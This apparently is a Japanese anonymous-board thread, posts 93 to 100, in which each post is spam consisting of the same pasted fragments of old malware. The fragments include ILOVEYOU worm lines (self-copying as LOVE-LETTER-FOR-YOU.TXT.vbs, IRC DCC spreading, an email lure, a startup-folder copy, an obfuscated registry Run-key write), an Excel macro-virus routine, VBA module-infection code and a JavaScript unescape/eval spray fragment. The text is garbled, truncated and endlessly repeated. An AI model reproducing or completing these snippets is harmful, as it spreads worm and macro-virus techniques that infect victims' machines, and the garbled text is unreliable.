If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
93：名無しさん：2014/10/19(日) 04:50:25: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
94：名無しさん：2014/10/19(日) 04:50:35: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
95：名無しさん：2014/10/19(日) 04:50:36: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
96：名無しさん：2014/10/19(日) 04:50:37: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
97：名無しさん：2014/10/19(日) 04:50:47: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
98：名無しさん：2014/10/19(日) 04:50:47: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
99：名無しさん：2014/10/19(日) 04:50:51: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")
100：名無しさん：2014/10/19(日) 04:50:58: c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

　
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body >
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) =

(){eval(unescape(('Script(t,'%')))})(/./g);　
eip=eip+unescape("%u7030%u4300")